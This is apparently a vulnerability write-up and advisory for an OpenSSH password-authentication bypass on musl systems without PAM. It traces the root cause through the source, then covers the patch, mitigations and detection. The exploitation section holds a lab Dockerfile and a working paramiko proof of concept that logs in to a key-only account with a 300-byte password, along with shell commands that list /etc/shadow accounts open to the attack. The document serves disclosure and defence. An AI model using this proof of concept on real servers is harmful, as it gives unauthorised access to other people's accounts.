OpenSSH sshole (CVE-2026-123158): when the error value matches the stored value
On Alpine and other musl systems without PAM, any 257-to-1024-byte password logged in to accounts that have no password. How musl's "*" error string met the "*" in /etc/shadow, why a 2016 timing fix made it reachable, and how to spot the same collision in your own code.
Before you read
New to security? Four ideas carry this whole story. Any other technical word links to the glossary the first time it appears.
- Hash: servers don't store your password, only a scrambled "fingerprint" of it. At login they fingerprint what you typed and compare the two.
/etc/shadow: the file where Linux keeps those fingerprints. An account with no password gets a*instead of a fingerprint.- musl: the C library (the basic toolbox programs rely on) used by Alpine Linux. Its password-hashing function returns
*when it fails.- PAM: the shared login service most Linux systems use. Without it, the SSH server checks passwords itself, with the code that has this bug.
TL;DR
On Alpine Linux and other musl-based systems where sshd (the SSH server) checks passwords without PAM, any password between 257 and 1024 bytes logged in to accounts that have no password at all: key-only users, the alpine user on Alpine's cloud images, and root wherever PermitRootLogin yes. musl's crypt() reports failure by returning the string *, and * is exactly what /etc/shadow stores for "this account has no password". Upgrade to OpenSSH 10.6p2 or your distro's patched package, then restart sshd. If you can't, set PasswordAuthentication no.
At a glance
| Field | Detail |
|---|---|
| Identifier (CVE) | CVE-2026-123158 ("sshole") |
| Affected | Portable OpenSSH before 10.6p2 on Linux with musl libc, built without PAM or run with UsePAM no, password authentication on. The code path dates from 7.3p1 (2016). |
| Fixed in | OpenSSH 10.6p2 · Alpine backports for 3.16 to 3.24 and edge (table below) |
| Who was exposed | Alpine's openssh-server package (built without PAM), and any other musl system running OpenSSH without PAM, if one account's shadow field is exactly * and another has a $5$ or $6$ hash |
| Not exposed | glibc distros (Debian, Ubuntu, Fedora, RHEL); sshd using PAM; PasswordAuthentication no; accounts locked with !; OpenBSD, FreeBSD, macOS; containers that don't run sshd |
| Severity | CVSS 3.1 8.1 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Weakness | CWE-394 Unexpected Status Code or Return Value |
| Disclosed | 2026-11-05 |
| Exploited in the wild | Not in CISA KEV (checked 2026-11-07). CISA's enrichment rates exploitation as "PoC". One vendor report of honeypot hits within hours of disclosure has not been confirmed elsewhere. |
The pattern
An error value that looks exactly like a stored value.
When a function says "I failed" by returning an ordinary-looking value (empty text, a *, a 0), the code that called it can't tell "it failed" from "it worked and this is the result". Usually that's just a bug. It becomes a way into other people's accounts when the "I failed" value is the same as something you store and compare against.
Here's the same mistake on an ordinary website, no SSH involved. People can sign up with an email and password, or with "Sign in with Google". Google users have no password on this site, so the database stores empty text, "", as their password hash:
| passwordHash | |
|---|---|
| bob@mail.com | $2b$10$Xk9... (a real hash) |
| alice@mail.com | "" (signed up with Google, no password) |
The hashing tool here, bcrypt, only reads the first 72 characters of a password, so the developer rejects longer ones. That's sensible. The way they do it isn't:
function hashPassword(password, salt) {
if (password.length > 72) return ""; // too long: give up
return bcrypt.hashSync(password, salt);
}
function login(email, password) {
const user = findUser(email);
const salt = user.passwordHash || DEFAULT_SALT; // accounts without a hash use a default salt
return hashPassword(password, salt) === user.passwordHash;
}An attacker logs in as alice@mail.com with a password of 100 letters "A":
hashPassword()sees more than 72 characters and returns"".- Alice's stored hash is also
"". "" === ""is true.- The attacker is logged in as Alice without knowing anything about her.
That is sshole exactly. The "" plays the part of Alpine's *, the 72-character limit plays musl's 256, and the default salt plays the salt sshd borrows from another account.
The fix needs two rules:
- Make failure look different from success. Throw an error instead of returning
"", so a failure can never pass for a hash. - Before comparing, check there's something real to compare against. This is the real safety net:
function login(email, password) {
const user = findUser(email);
if (!user || !user.passwordHash) return false; // no password: refuse, don't compare
return bcrypt.compareSync(password, user.passwordHash); // answers yes or no
}Rule 1 alone isn't enough. If the developer "fixes" it by returning null on error, but Google users are stored as null too, then null === null is true and the bug is back. Rule 2 closes the hole whatever the error looks like, and it's exactly what OpenSSH's fix does: a * is too short to be a real hash, so sshd doesn't even compare.
The same shape turns up in other places:
- A password-reset check compares the token in the link with the token saved for the user. If the user never asked for a reset, both are empty, and "empty equals empty" lets anyone reset that password.
- A login-token reader returns user ID
0when it can't read the token, and0is the administrator.
Root cause
Built without PAM, sshd checks passwords itself, in sys_auth_passwd(). This is auth-passwd.c at 10.6p1:
int
sys_auth_passwd(struct ssh *ssh, const char *password)
{
Authctxt *authctxt = ssh->authctxt;
struct passwd *pw = authctxt->pw;
char *encrypted_password, *salt = NULL;
/* Just use the supplied fake password if authctxt is invalid */
char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
if (pw_password == NULL)
return 0;
/* Check for users with no password. */
if (strcmp(pw_password, "") == 0 && strcmp(password, "") == 0)
return (1);
/*
* Encrypt the candidate password using the proper salt, or pass a
* NULL and let xcrypt pick one.
*/
if (authctxt->valid && pw_password[0] && pw_password[1])
salt = pw_password;
encrypted_password = xcrypt(password, salt);
/*
* Authentication is accepted if the encrypted passwords
* are identical.
*/
return encrypted_password != NULL &&
strcmp(encrypted_password, pw_password) == 0;
}For a normal account, pw_password is a hash like $6$salt$..., and it doubles as the salt. For a key-only account it's *: one character, too short to be a salt. sshd doesn't skip the hashing for those accounts. It hashes the attempt anyway, with a salt borrowed from another account, so that a "no" for a * account takes as long as a "no" for a real one. That's pick_salt() in openbsd-compat/xcrypt.c:
static const char *
pick_salt(void)
{
struct passwd *pw;
char *passwd, *p;
size_t typelen;
static char salt[32];
if (salt[0] != '\0')
return salt;
strlcpy(salt, "xx", sizeof(salt));
setpwent();
while ((pw = getpwent()) != NULL) {
if ((passwd = shadow_pw(pw)) == NULL)
continue;
if (passwd[0] == '$' && (p = strrchr(passwd+1, '$')) != NULL) {
typelen = p - passwd + 1;
strlcpy(salt, passwd, MINIMUM(typelen, sizeof(salt)));
explicit_bzero(passwd, strlen(passwd));
goto out;
}
}
out:
endpwent();
return salt;
}
char *
xcrypt(const char *password, const char *salt)
{
/* ... */
if (salt == NULL)
salt = pick_salt();
/* ... */
crypted = crypt(password, salt);
/* ... */
return crypted;
}Then musl. Its SHA-256 and SHA-512 crypt refuse keys over 256 bytes, and musl's crypt() never returns NULL. On any failure it returns the string *. From src/crypt/crypt_sha512.c:
/*
* ...
* on error "*" is returned.
*/
#define KEY_MAX 256
static char *sha512crypt(const char *key, const char *setting, char *output)
{
/* ... */
/* reject large keys */
for (i = 0; i <= KEY_MAX && key[i]; i++);
if (i > KEY_MAX)
return 0;
/* ... */
}
char *__crypt_sha512(const char *key, const char *setting, char *output)
{
/* ... */
p = sha512crypt(key, setting, output);
/* self test and stack cleanup */
q = sha512crypt(testkey, testsetting, testbuf);
if (!p || q != testbuf || memcmp(testbuf, testhash, sizeof testhash))
return "*";
return p;
}Follow the data:
- Source: the password, fully attacker-controlled.
auth_password()drops anything over 1024 bytes (MAX_PASSWORD_LEN) before it gets here. - Salt: the account's field is
*, sosaltstays NULL andpick_salt()borrows another account's$6$...$prefix. - Failure: the password is over 256 bytes, so
sha512crypt()returns 0 and__crypt_sha512()returns"*". - Comparison:
strcmp("*", "*") == 0(strcmp()returns 0 when two texts are equal). Authenticated.
That also explains everything that isn't affected:
- Accounts locked with
!:strcmp("*", "!")fails. - Accounts with a real hash: the comparison is against
$6$..., never*. - glibc: glibc's
crypt()returns NULL, which theencrypted_password != NULLcheck rejects. libxcrypt (used by most glibc distros now) returns*0or*1, never a bare*. Most of those distros also send sshd through PAM, which doesn't run this code at all. - No
$5$/$6$hash anywhere:pick_salt()falls back to the DES saltxx. DES reads only the first 8 characters, never fails on length, and returns a real 13-character hash. - Root, by default:
PermitRootLogin prohibit-passwordmakesauth_password()reject root password logins whatever this function returns.
Why the first attempt fails
In the lab, the bypass never works on the first password of a connection. It always works on the second. The code explains why. shadow_pw() returns spw->sp_pwdp, a pointer into the static buffer behind musl's getspnam(). The first time pick_salt() runs, it calls shadow_pw() (so getspnam()) for account after account, which overwrites that buffer, then zeroes the donor's hash in it. pw_password now points into some other account's entry, not at *, so the comparison fails.
pick_salt() caches its result in a static, so on the second attempt in the same connection it returns straight away. The buffer still holds the target's entry, and * meets *. Every connection is a fresh process, so every connection needs one throwaway attempt first. That's why the researcher's PoC sends a wrong password before the long one.
How three reasonable changes lined up
- 2012-08-09, musl
b3c4cc12: "make crypt return an unmatchable hash rather than NULL on failure." Plenty of programs comparecrypt()'s output without checking for NULL and crash.*can never be the output of a real hash, so it's "unmatchable". - 2012-08-29, musl
88bf5a8a: "add sha256/sha512 crypt", with the 256-byte key limit, a guard against long-key DoS. - 2016-07, OpenSSH
9286875aanddbf788b4(shipped in 7.3p1): the fix for CVE-2016-6210, username enumeration by timing. Until then, accounts without a usable salt were hashed with the DES saltxx: fast, and DES never fails on length. The fix borrowed a real salt so every check costs the same. From then on,*accounts went through SHA-crypt, where musl's limit lives:
- /* Encrypt the candidate password using the proper salt. */
- encrypted_password = xcrypt(password,
- (pw_password[0] && pw_password[1]) ? pw_password : "xx");
+ /*
+ * Encrypt the candidate password using the proper salt, or pass a
+ * NULL and let xcrypt pick one.
+ */
+ if (authctxt->valid && pw_password[0] && pw_password[1])
+ salt = pw_password;
+ encrypted_password = xcrypt(password, salt);- 2021-12-10, Alpine aports
fbe926af(first shipped in 3.16): root's field changed from!(locked) to*, because "this still forbids password login but allows logins via ssh keys with pam disabled."*became the normal field for key-only accounts on Alpine.
Each change was reasonable on its own. musl's * is unmatchable against any hash. OpenSSH's comparison was safe as long as crypt() returned a hash or NULL. * is the textbook way to say "no password". The bug only exists in the combination, and, as the researcher points out, nobody tested it: OpenSSH is tested on OpenBSD and glibc, and most distros route sshd through PAM.
Exploitation
Alpine's repositories already ship the fix, so the lab builds OpenSSH 10.6p1 from source on alpine:3.24, without PAM, the way Alpine's package is built. alice is key-only (*). bob has a password, which makes him the salt donor:
# Lab only: OpenSSH 10.6p1 on musl, no PAM (like Alpine's openssh-server).
FROM alpine:3.24
RUN apk add --no-cache build-base openssl-dev zlib-dev linux-headers py3-paramiko
COPY openssh-10.6p1.tar.gz /tmp/
RUN cd /tmp && tar xzf openssh-10.6p1.tar.gz && cd openssh-10.6p1 \
&& ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-privsep-path=/var/empty \
&& make -j"$(nproc)" && make install-nokeys && ssh-keygen -A
RUN adduser -D alice && adduser -D bob \
&& echo 'bob:BobPass-123' | chpasswd \
&& sed -i 's/^alice:[^:]*:/alice:*:/' /etc/shadowRun it with docker run -d --rm -p 127.0.0.1:2222:22 sshole-lab /usr/sbin/sshd -D -e. The attack is one connection with two password attempts:
import socket, paramiko
t = paramiko.Transport(socket.create_connection(("127.0.0.1", 2222)))
t.start_client()
for pw in ["anything", "A" * 300]: # the first attempt always fails, see above
try:
t.auth_password("alice", pw)
except paramiko.AuthenticationException:
continue
print("logged in:", t.is_authenticated())With the plain ssh client it's the same thing by hand: type anything at the first prompt, paste 300 characters at the second.
Reproduced on 2026-11-07, against OpenSSH 10.6p1 and 10.6p2 built the same way. Each row is one connection: a wrong password, then the one shown.
| Case | 10.6p1 | 10.6p2 |
|---|---|---|
alice (*), 256 bytes |
denied | denied |
alice (*), 257 bytes |
logged in | denied |
alice (*), 1024 bytes |
logged in | denied |
alice (*), 1025 bytes |
denied | denied |
alice (*), 300 bytes as the only attempt |
denied | denied |
carol (!), 300 bytes |
denied | denied |
bob ($6$), 300 bytes |
denied | denied |
root (*), default PermitRootLogin |
denied | denied |
root (*), PermitRootLogin yes |
logged in | denied |
The CVE text says "between 256 and 1024 characters". 256 is rejected: the first length that works is 257.
If you rerun failing cases a lot, start sshd with -o PerSourcePenalties=no, or it starts refusing your connections and every case looks "denied".
The fix
The patch (commit 4353fdc, in 10.6p2) doesn't touch crypt() at all. It refuses to compare against a stored field that's too short to be a hash:
+#define MIN_PASSWORD_HASH_LEN 4
#define MAX_PASSWORD_LEN 1024
...
- char *pw_password = authctxt->valid ? shadow_pw(pw) : pw->pw_passwd;
+ char *pw_password = authctxt->valid ?
+ shadow_pw(pw) : xstrdup(pw->pw_passwd);
...
- return encrypted_password != NULL &&
+ ret = encrypted_password != NULL &&
+ strlen(pw_password) >= MIN_PASSWORD_HASH_LEN &&
strcmp(encrypted_password, pw_password) == 0;
+ freezero(pw_password, strlen(pw_password));
+ return ret;The shortest real crypt() output is a 13-character DES hash, and every $id$ format is longer. Anything under four characters (*, !, !!, x, libxcrypt's *0) can't be a hash, so no password should ever be compared to it. The check doesn't need to know what any libc returns on failure. The patch also makes shadow_pw() return a copy instead of a pointer into libc's static buffer, which ends the aliasing behind the first-attempt quirk. Damien Miller's commit message: "We do not consider the root cause to be within OpenSSH but we are well equipped to avoid it."
Alpine backported the patch to every branch from 3.16 (point releases 3.21.10, 3.22.8, 3.23.8 and 3.24.4):
| Branch | Fixed openssh |
|---|---|
| edge | 10.6_p2-r0 |
| 3.24 | 10.3_p1-r2 |
| 3.23 | 10.2_p1-r1 |
| 3.22 | 10.0_p1-r11 |
| 3.21 | 9.9_p2-r1 |
| 3.20 | 9.7_p1-r6 |
| 3.19 | 9.6_p1-r3 |
| 3.18 | 9.3_p2-r4 |
| 3.17 | 9.1_p1-r7 |
| 3.16 | 9.0_p1-r6 |
apk upgrade -U -a
rc-service sshd restartIf you can't upgrade yet, turn off password logins. The drop-in directory is read from 3.19 on, and sshd uses the first value it sees for each keyword, so a drop-in beats a later PasswordAuthentication yes in sshd_config:
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/00-no-passwords.conf
sshd -t && rc-service sshd restart
sshd -T | grep -i '^passwordauthentication' # should print: passwordauthentication noKeep your current session open and test a new login before you log out.
Fixes that look right and aren't:
- Upgrading without restarting sshd. Alpine's advisory is explicit: the package upgrade doesn't restart the running daemon. Restart it.
- Trusting the version string. Alpine's stable branches carry the fix without bumping the upstream version. A patched 3.24 host reports
OpenSSH_10.3p1, so scanners comparing against 10.6p2 flag it, while an unpatched 10.3p1 somewhere else looks the same. Check the package release:apk list --installed openssh-servershould show10.3_p1-r2. - Locking key-only accounts with
!instead. It blocks this bug, but without PAM it also blocks key logins. That's exactly why Alpine moved root from!to*in 2021. - Protecting only root. The default
PermitRootLogin prohibit-passwordalready covers root. The real targets are key-only users that candoasorsudo, like thealpineuser on Alpine's official cloud images (3.18.11 to 3.24.3), which has passwordlessdoas. - "This box has no passwords, so it's safe." True today. It stops being true the day someone sets one console password and creates the
$6$hash thatpick_salt()borrows. - Checking
PasswordAuthenticationonly globally. AMatchblock can turn it back on for some users or addresses. Check withsshd -T -C user=deploy,host=x,addr=203.0.113.5.
Finding it in your own code
- The build: on Alpine,
openssh-serverhas no PAM.openssh-server-pamwithUsePAM yesisn't affected. - The settings:
sshd -T | grep -E '^(passwordauthentication|permitrootlogin) '. A stock Alpine 3.24 install printspasswordauthentication yesandpermitrootlogin prohibit-password. - The accounts: both conditions have to hold.
awk -F: '$2=="*"{print $1}' /etc/shadow # accounts sshole can log in to
awk -F: '$2 ~ /^\$[56]\$/{print $1}' /etc/shadow # salt donors: if empty, not exploitable (yet)- The logs: any
Accepted password foran account whose field is*is a compromise. The usual shape is a failure and a success from the same IP, port and process, in the same second:
grep -E 'sshd(-session)?\[[0-9]+\]: (Failed|Accepted) password for' /var/log/messagesStandard logs don't record password length, so this is the only trace. If you can't rule out a login, treat the machine as compromised.
- Beyond sshd: search your own code for functions that signal failure with an ordinary-looking value (
"","*","!",0,-1,None) and for places where a computed value is compared against a stored one that can be empty or a placeholder: password hashes of SSO-only accounts, reset tokens, API keys, invite codes. Use verify functions that return a boolean (bcrypt.compare,hmac.compare_digestafter checking both sides exist), and refuse accounts with no usable credential before comparing.
Takeaways
- An error must never look like a result. If a function can fail, make the failure impossible to mistake for a real answer: throw an exception, or return a separate yes/no.
- "Unmatchable" is relative. musl's
*can't match any hash, but it matches the most common thing stored instead of a hash. - Check that the stored side can be matched at all before comparing. That one check makes the comparison safe whatever the hashing layer does.
- Security fixes change code paths. The 2016 timing fix was correct, and it sent
*accounts through the one hash function with a length limit. - The bug lived in a build combination nobody tested: musl, no PAM. Differential testing across builds is what found it.
- Patch, restart sshd, and turn off password authentication on servers that don't need it.
References
- OpenSSH 10.6p2 release notes
- Fix commit 4353fdc: "avoid password authn bypass"
- Alpine Linux advisory: OpenSSH password authentication bypass
- CVE-2026-123158
- Original write-up by Özgün Kültekin: sshhole.com and PoC repository
- oss-security: "sshole": password authentication bypass: OpenSSH + musl libc
- musl b3c4cc12: "make crypt return an unmatchable hash rather than NULL on failure"
- OpenSSH 9286875a: "Determine appropriate salt for invalid users." (CVE-2016-6210 fix)
- Alpine aports fbe926af: "locked -> invalid password"
Found and reported by Özgün Kültekin (Wakefield).
Timeline
- 2026-10-30: OpenSSH fixes bcrypt handling in
pick_salt()(84f8f4666), in the same function, without touching this bug - 2026-11-03: found by differential testing: about 17,600 logins against sshd built with and without musl, PAM and shadow; reported to OpenSSH
- 2026-11-04: fix committed (
4353fdc); Alpine and musl notified - 2026-11-05: OpenSSH 10.6p2 released; Alpine advisory and patched packages for 3.16 to 3.24 and edge the same day; CVE-2026-123158 published by MITRE; write-up published
- 2026-11-06: CISA enrichment rates exploitation "PoC", automatable "no"
On the short embargo, Damien Miller: "We are making this release as fast as possible (we learned of the problem yesterday) because we have recently observed multiple cases of rapid bug rediscovery by AI agents, sometimes within hours, and so now consider long embargo periods to be a dangerous practice that primarily benefits attackers."
Comments0
No comments yet. Start the conversation.
Log in or create a free account to join the discussion.